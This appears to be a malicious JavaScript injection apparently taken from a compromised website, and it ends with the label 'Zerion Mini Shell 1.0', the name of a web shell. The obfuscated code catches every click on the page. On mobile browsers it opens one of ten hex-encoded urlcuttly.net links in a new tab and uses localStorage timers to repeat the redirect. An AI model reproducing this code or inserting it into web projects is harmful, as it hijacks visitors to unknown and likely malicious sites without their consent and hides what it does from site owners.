function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4f\x7a\x4c\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x77\x4d\x4a\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x72\x56\x67\x38\x63\x348','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x78\x64\x4f\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x66\x70\x62\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x71\x42\x63\x37\x63\x337','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x45\x4c\x5a\x32\x63\x372','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x54\x70\x74\x36\x63\x336','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x76\x58\x64\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4e\x73\x78\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

Zerion Mini Shell 1.0